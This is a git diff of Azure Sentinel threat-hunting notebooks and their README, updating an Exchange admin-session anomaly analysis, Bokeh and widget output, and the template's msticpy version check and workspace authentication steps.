]
},
@@ -1763,9 +1767,16 @@
},
{
"cell_type": "code",
- "execution_count": 15,
+ "execution_count": 13,
"metadata": {},
"outputs": [
+ {
+ "name": "stdout",
+ "output_type": "stream",
+ "text": [
+ "Number of events 146\n"
+ ]
+ },
{
"data": {
"text/html": [
@@ -1900,7 +1911,7 @@
"4 [{'Set-ConditionalAccessPolicy': [{'Name': 'Identity', 'Value': 'seccxpninja.onmicrosoft.com\\\\64... "
]
},
- "execution_count": 15,
+ "execution_count": 13,
"metadata": {},
"output_type": "execute_result"
}
@@ -1921,6 +1932,7 @@
"| project UserId, ClientIP, nCmds, nDistinctCmds, begin, end, duration=end-begin, cmds, params\n",
"\"\"\"\n",
"exchange_df = qry_prov.Azure.OfficeActivity(add_query_items=query)\n",
+ "print(f\"Number of events {len(exchange_df)}\")\n",
"exchange_df.head()"
]
},
@@ -1942,7 +1954,7 @@
},
{
"cell_type": "code",
- "execution_count": 16,
+ "execution_count": 14,
"metadata": {},
"outputs": [
{
@@ -1951,7 +1963,7 @@
"\n",
" \n",
"
\n",
- "
Loading BokehJS ... \n",
+ "
Loading BokehJS ... \n",
"
"
]
},
@@ -2121,7 +2133,7 @@
" \"\"}};\n",
"\n",
" function display_loaded() {\n",
- " var el = document.getElementById(\"1370\");\n",
+ " var el = document.getElementById(\"1659\");\n",
" if (el != null) {\n",
" el.textContent = \"BokehJS is loading...\";\n",
" }\n",
@@ -2241,7 +2253,7 @@
" console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
" root._bokeh_failed_load = true;\n",
" } else if (force !== true) {\n",
- " var cell = $(document.getElementById(\"1370\")).parents('.cell').data().cell;\n",
+ " var cell = $(document.getElementById(\"1659\")).parents('.cell').data().cell;\n",
" cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
" }\n",
"\n",
@@ -2258,7 +2270,7 @@
" }\n",
"}(window));"
],
- "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1370\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1370\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
+ "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1659\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1659\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
},
"metadata": {},
"output_type": "display_data"
@@ -2272,7 +2284,7 @@
"\n",
"\n",
"\n",
- "
\n"
+ "
\n"
]
},
"metadata": {},
@@ -2284,8 +2296,8 @@
"(function(root) {\n",
" function embed_document(root) {\n",
" \n",
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" root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
"\n",
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@@ -2312,7 +2324,7 @@
},
"metadata": {
"application/vnd.bokehjs_exec.v0+json": {
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+ "id": "1731"
}
},
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@@ -2380,7 +2392,7 @@
},
{
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- "execution_count": 17,
+ "execution_count": 15,
"metadata": {},
"outputs": [
{
@@ -2410,7 +2422,7 @@
{
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" [Set-ConditionalAccessPolicy, Set-ConditionalAccessPolicy, Set-ConditionalAccessPolicy, Set-Cond... \n",
- " [Cmd(name='Set-ConditionalAccessPolicy', params={'PolicyDetails', 'PolicyIdentifierString', 'Ide... \n",
+ " [Cmd(name='Set-ConditionalAccessPolicy', params={'DisplayName', 'TenantDefaultPolicy', 'PolicyDe... \n",
" [Cmd(name='Set-ConditionalAccessPolicy', params={'Identity': 'seccxpninja.onmicrosoft.com\\\\235be... \n",
" 0.003386 \n",
" [Cmd(name='Set-ConditionalAccessPolicy', params={'Identity': 'seccxpninja.onmicrosoft.com\\\\6490d... \n",
@@ -2512,7 +2524,7 @@
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" [Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember,... \n",
- " [Cmd(name='Update-RoleGroupMember', params={'Members', 'Identity'}), Cmd(name='Update-RoleGroupM... \n",
+ " [Cmd(name='Update-RoleGroupMember', params={'Identity', 'Members'}), Cmd(name='Update-RoleGroupM... \n",
" [Cmd(name='Update-RoleGroupMember', params={'Members': 'CBoehmSA;pcadmin;SecurityAdmins_20075581... \n",
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" [Cmd(name='Update-RoleGroupMember', params={'Members': 'CBoehmSA;ComplianceAdmins_939735849', 'I... \n",
@@ -2547,8 +2559,8 @@
"145 [Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember, Update-RoleGroupMember,... \n",
"\n",
" param_session \\\n",
- "18 [Cmd(name='Set-ConditionalAccessPolicy', params={'PolicyDetails', 'PolicyIdentifierString', 'Ide... \n",
- "145 [Cmd(name='Update-RoleGroupMember', params={'Members', 'Identity'}), Cmd(name='Update-RoleGroupM... \n",
+ "18 [Cmd(name='Set-ConditionalAccessPolicy', params={'DisplayName', 'TenantDefaultPolicy', 'PolicyDe... \n",
+ "145 [Cmd(name='Update-RoleGroupMember', params={'Identity', 'Members'}), Cmd(name='Update-RoleGroupM... \n",
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" param_value_session \\\n",
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@@ -2608,7 +2620,7 @@
},
{
"cell_type": "code",
- "execution_count": 20,
+ "execution_count": 16,
"metadata": {},
"outputs": [
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+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "ProgressStyleModel",
+ "state": {
+ "description_width": ""
+ }
+ },
+ "4a253b1561804110a5e19db6ca61e3a2": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {}
+ },
+ "5e3c422a0bb046d1a86be7b935f277f4": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "HBoxModel",
+ "state": {
+ "children": [
+ "IPY_MODEL_cc517381d772451fb2b0b2ec9ce9266c",
+ "IPY_MODEL_d91cb7b56d614c32bbafee13199f0628"
+ ],
+ "layout": "IPY_MODEL_4a253b1561804110a5e19db6ca61e3a2"
+ }
+ },
+ "68b2718f44bb4e4494a4040dc63fa6ff": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {
+ "width": "80%"
+ }
+ },
+ "704a34af468042f0b2588821ce98c9fe": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {}
+ },
+ "76e28700e8c44cc8b473706a95d110be": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {
+ "width": "95%"
+ }
+ },
+ "772a416ce0a249bcafb22729a08f81c6": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "HTMLModel",
+ "state": {
+ "layout": "IPY_MODEL_704a34af468042f0b2588821ce98c9fe",
+ "style": "IPY_MODEL_1f02ed1355c049c08138efff33a00a12",
+ "value": "File download: 100%"
+ }
+ },
+ "871d1ecf4e8f43dea46d97f3b0082af5": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "DescriptionStyleModel",
+ "state": {
+ "description_width": ""
+ }
+ },
+ "8d0eacc52eec488da1a25a3665fb30d4": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {}
+ },
+ "8de4492deb74465c9f60407f26bcfbcd": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "DescriptionStyleModel",
+ "state": {
+ "description_width": "initial"
+ }
+ },
+ "9626c69725504c72b4a11991fc32fbd8": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {}
+ },
+ "9807331b6f054820b1a1fac86a50c1f7": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {
+ "width": "50%"
+ }
+ },
+ "a4708b6a13414bbf871b7897df40723c": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "VBoxModel",
+ "state": {
+ "children": [
+ "IPY_MODEL_3f6fa4c0db994ea7a490cb28e3be90e1",
+ "IPY_MODEL_5e3c422a0bb046d1a86be7b935f277f4",
+ "IPY_MODEL_48ce1406d7414b6094d5c3d0d7275da3"
+ ],
+ "layout": "IPY_MODEL_bff53e9ebf4546319d53f7be48531b28"
+ }
+ },
+ "b78d87d700b946caaf76eee14013efea": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "TextModel",
+ "state": {
+ "description": "Query end time (UTC) : ",
+ "layout": "IPY_MODEL_9807331b6f054820b1a1fac86a50c1f7",
+ "style": "IPY_MODEL_076a78cf3ae1424cb4bd78a14f70d754",
+ "value": "2020-07-20 00:00:00"
+ }
+ },
+ "bd78658dbaeb49c8a1de5ae43e3167b1": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "HBoxModel",
+ "state": {
+ "children": [
+ "IPY_MODEL_772a416ce0a249bcafb22729a08f81c6",
+ "IPY_MODEL_d9b50ff2d9d64f59933b01b9d8c581ee",
+ "IPY_MODEL_1b69bf01335d4b70be462817969c5b71"
+ ],
+ "layout": "IPY_MODEL_ca74cfd06c75454e94f834844d8b3a7b"
+ }
+ },
+ "be07690961fc449ea1b8b1443c299da1": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {}
+ },
+ "beb1dfcc25054b8a9c3c0be09fab7399": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "IntRangeSliderModel",
+ "state": {
+ "_model_name": "IntRangeSliderModel",
+ "_view_name": "IntRangeSliderView",
+ "description": "Time Range (week):",
+ "layout": "IPY_MODEL_68b2718f44bb4e4494a4040dc63fa6ff",
+ "max": 4,
+ "min": -4,
+ "style": "IPY_MODEL_1aaa3d665b384d6eb53e8cd27235c26e",
+ "value": [
+ -1,
+ 1
+ ]
+ }
+ },
+ "bff53e9ebf4546319d53f7be48531b28": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {}
+ },
+ "c620b6a81d2f4d18ad7993c7a26b3ca9": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "SliderStyleModel",
+ "state": {
+ "description_width": "200px"
+ }
+ },
+ "c7bdfb7a7f7b46b794f6fe86f2faa345": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "DescriptionStyleModel",
+ "state": {
+ "description_width": ""
+ }
+ },
+ "ca74cfd06c75454e94f834844d8b3a7b": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {}
+ },
+ "cc517381d772451fb2b0b2ec9ce9266c": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "DatePickerModel",
+ "state": {
+ "description": "Origin Date",
+ "disabled": false,
+ "layout": "IPY_MODEL_cf3aa51d1dd84201b99b27235176b21d",
+ "style": "IPY_MODEL_c7bdfb7a7f7b46b794f6fe86f2faa345",
+ "value": {
+ "date": 13,
+ "month": 6,
+ "year": 2020
+ }
+ }
+ },
+ "cf3aa51d1dd84201b99b27235176b21d": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {}
+ },
+ "d757bf88f48445e1b9aeda7be5d40f22": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "FloatSliderModel",
+ "state": {
+ "description": "Select likelihood threshold",
+ "layout": "IPY_MODEL_10ade0ff26574690a17ea7524d7193b3",
+ "max": 0.010681888131276969,
+ "min": 2.5413764681869644e-06,
+ "readout_format": ".7f",
+ "step": 0.000536508714208626,
+ "style": "IPY_MODEL_c620b6a81d2f4d18ad7993c7a26b3ca9",
+ "value": 0.00376
+ }
+ },
+ "d91cb7b56d614c32bbafee13199f0628": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "TextModel",
+ "state": {
+ "description": "Time (24hr)",
+ "layout": "IPY_MODEL_21575e09b91748e890cf44d8870b5c2c",
+ "style": "IPY_MODEL_270c32f5f2b04370ba0ba481122bfaf0",
+ "value": "00:00:00"
+ }
+ },
+ "d9b50ff2d9d64f59933b01b9d8c581ee": {
+ "model_module": "@jupyter-widgets/controls",
+ "model_module_version": "1.5.0",
+ "model_name": "FloatProgressModel",
+ "state": {
+ "bar_style": "success",
+ "layout": "IPY_MODEL_8d0eacc52eec488da1a25a3665fb30d4",
+ "max": 4,
+ "style": "IPY_MODEL_4941409a5dd341c3967d0a91817167fc",
+ "value": 4
+ }
+ },
+ "f5b8c6fb930e4be3aaf5d71b76105319": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {
+ "width": "50%"
+ }
+ },
+ "fdc9374fa86d411389922af282b13e5e": {
+ "model_module": "@jupyter-widgets/base",
+ "model_module_version": "1.2.0",
+ "model_name": "LayoutModel",
+ "state": {}
+ }
+ },
"version_major": 2,
"version_minor": 0
}
diff --git a/Notebook Template.ipynb b/Notebook Template.ipynb
index 4eb9bd7a..17f8d4ea 100644
--- a/Notebook Template.ipynb
+++ b/Notebook Template.ipynb
@@ -67,32 +67,19 @@
"outputs": [],
"source": [
"from pathlib import Path\n",
- "import os\n",
- "import sys\n",
- "import warnings\n",
- "from IPython.display import display, HTML, Markdown\n",
+ "from IPython.display import display, HTML\n",
"\n",
"REQ_PYTHON_VER=(3, 6)\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
"\n",
"display(HTML(\"Starting Notebook setup... \"))\n",
"if Path(\"./utils/nb_check.py\").is_file():\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\n",
- "\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n",
- " try:\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n",
- " except ImportError:\n",
- " !pip install --upgrade msticpy\n",
- " if \"msticpy\" in sys.modules:\n",
- " importlib.reload(sys.modules[\"msticpy\"])\n",
- " else:\n",
- " import msticpy\n",
- " check_mp_ver(REQ_MSTICPY_VER)\n",
- " \n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n",
"\n",
"# If not using Azure Notebooks, install msticpy with\n",
"# !pip install msticpy\n",
+ "\n",
"from msticpy.nbtools import nbinit\n",
"nbinit.init_notebook(\n",
" namespace=globals(),\n",
@@ -106,26 +93,30 @@
"source": [
" [Contents](#toc)\n",
"### Get WorkspaceId and Authenticate to Log Analytics \n",
- "\n",
- " Details... \n",
- "If you are using user/device authentication, run the following cell. \n",
+ "\n",
+ "If you are using user/device authentication (the default), run the following cell. \n",
"- Click the 'Copy code to clipboard and authenticate' button.\n",
- "- This will pop up an Azure Active Directory authentication dialog (in a new tab or browser window). The device code will have been copied to the clipboard. \n",
+ "- This will pop up an Azure Active Directory authentication dialog (in a new tab or browser window).\n",
+ " The device code will have been copied to the clipboard. \n",
"- Select the text box and paste (Ctrl-V/Cmd-V) the copied value. \n",
- "- You should then be redirected to a user authentication page where you should authenticate with a user account that has permission to query your Log Analytics workspace.\n",
+ "- You should then be redirected to a user authentication page where you should \n",
+ " authenticate with a user account that has permission to query your Log Analytics workspace.\n",
"\n",
- "Use the following syntax if you are authenticating using an Azure Active Directory AppId and Secret:\n",
- "```\n",
- "%kql loganalytics://tenant(aad_tenant).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\n",
- "```\n",
- "instead of\n",
- "```\n",
- "%kql loganalytics://code().workspace(WORKSPACE_ID)\n",
- "```\n",
+ "\n",
+ " Using an AppID and App Secret \n",
+ "Use the following syntax if you are authenticating using an Azure Active Directory AppId and Secret: \n",
+ "\n",
+ "connect_str = \"loganalytics://tenant(TENANT_ID).workspace(WORKSPACE_ID).clientid(client_id).clientsecret(client_secret)\"\n",
+ "qry_prov.connect(connect_str)\n",
+ " \n",
+ "instead of \n",
+ "\n",
+ "qry_prov.connect(ws_config)\n",
+ " \n",
"\n",
- "Note: you may occasionally see a JavaScript error displayed at the end of the authentication - you can safely ignore this. \n",
- "On successful authentication you should see a ```popup schema``` button.\n",
- "To find your Workspace Id go to [Log Analytics](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces). Look at the workspace properties to find the ID.\n",
+ "To find your Workspace Id go to\n",
+ "[Azure Sentinel Workspaces](https://ms.portal.azure.com/#blade/HubsExtension/Resources/resourceType/Microsoft.OperationalInsights%2Fworkspaces).\n",
+ "Look at the workspace properties to find the ID.\n",
" "
]
},
@@ -149,11 +140,25 @@
"metadata": {},
"outputs": [],
"source": [
- "# Authentication\n",
+ "# See if we have an Azure Sentinel Workspace defined in our config file.\n",
+ "# If not, let the user specify Workspace and Tenant IDs\n",
+ "\n",
"ws_config = WorkspaceConfig()\n",
- "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n",
- "qry_prov.connect(connection_str=ws_config.code_connect_str)\n",
- "table_index = qry_prov.schema_tables"
+ "if not ws_config.config_loaded:\n",
+ " ws_config.prompt_for_ws()\n",
+ " \n",
+ "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n",
+ "print(\"done\")\n"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": null,
+ "metadata": {},
+ "outputs": [],
+ "source": [
+ "# Authenticate to Azure Sentinel workspace\n",
+ "qry_prov.connect(ws_config)"
]
},
{
@@ -264,4 +269,4 @@
},
"nbformat": 4,
"nbformat_minor": 4
-}
+}
\ No newline at end of file
diff --git a/README.md b/README.md
index 5f5510fa..769ccb55 100644
--- a/README.md
+++ b/README.md
@@ -17,27 +17,32 @@ More information on getting started with
This repository contains notebooks contributed by Microsoft and the community
to assist hunting and investigation tasks in Azure Sentinel.
-The notebooks are mostly one of three types:
+The notebooks are mostly one of several types:
- Exploration notebooks. These are meant to be used as they are or with
your own customizations to explore specific hunting and investigation
scenarios. Examples of this type include the Entity explorer series.
(“Entity” refers to items such as hosts, IP addresses, accounts, URLs, etc.)
-- Simple How-To notebooks like the Get Started notebook.
+- Guided hunting and guided investigation notebooks that follow a specific
+ CyberSec scenario
+- How-To notebooks like the Get Started and ConfigureNotebookEnvironment notebooks.
- Sample notebooks. These are longer and are meant to be instructional
- examples following a real or simulated hunt or investigation.
+ examples following a real or simulated hunt or investigation. They typically
+ have save sample data so that you can see what they are meant to do.
## More Information
-- Read the [Get Started](https://nbviewer.jupyter.org/github/Azure/Azure-Sentinel-Notebooks/blob/master/A%20Getting%20Started%20Guide%20For%20Azure%20Sentinel%20ML%20Notebooks.ipynb)
+- [Getting Started](https://nbviewer.jupyter.org/github/Azure/Azure-Sentinel-Notebooks/blob/master/A%20Getting%20Started%20Guide%20For%20Azure%20Sentinel%20ML%20Notebooks.ipynb)
+ notebook.
+- [Configuring notebook environment](https://nbviewer.jupyter.org/github/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)
notebook.
- Run a demonstration notebook in [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/Azure/Azure-Sentinel-Notebooks/master?filepath=nbdemo%2Fmsticpy%20demo.ipynb)
-- Read more about the use of Jupter notebooks in Azure Sentinel on the
- [Azure Sentinel Technical Community blog](https://techcommunity.microsoft.com/t5/Azure-Sentinel/bg-p/AzureSentinelBlog)
-- Read more about the [Azure Notebooks Service](https://docs.microsoft.com/en-us/azure/notebooks/).
